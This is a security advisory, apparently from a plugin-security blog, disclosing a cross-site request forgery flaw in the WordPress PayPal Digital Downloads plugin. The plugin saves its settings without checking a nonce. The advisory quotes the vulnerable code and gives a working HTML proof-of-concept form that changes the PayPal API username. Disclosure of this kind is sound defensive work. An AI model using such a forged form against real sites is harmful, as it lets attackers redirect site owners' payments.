Cross-Site Request Forgery (CSRF) Vulnerability in PayPal Digital Downloads
Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Digital Downloads plugin contains the same vulnerability.
The issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /paypal-digital-downloads.php):
254 255 | // save and update options if (isset($_POST['update'])) { |
We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.
Proof of Concept
The following proof of concept will cause the PayPal API Username that payments go to, to be changed to test, when submitted as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-digital-download" method="POST"> <input type="hidden" name="update" value="1" /> <input type="hidden" name="api_username" value="test" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
Timeline
- May 18, 2017 – Developer notified.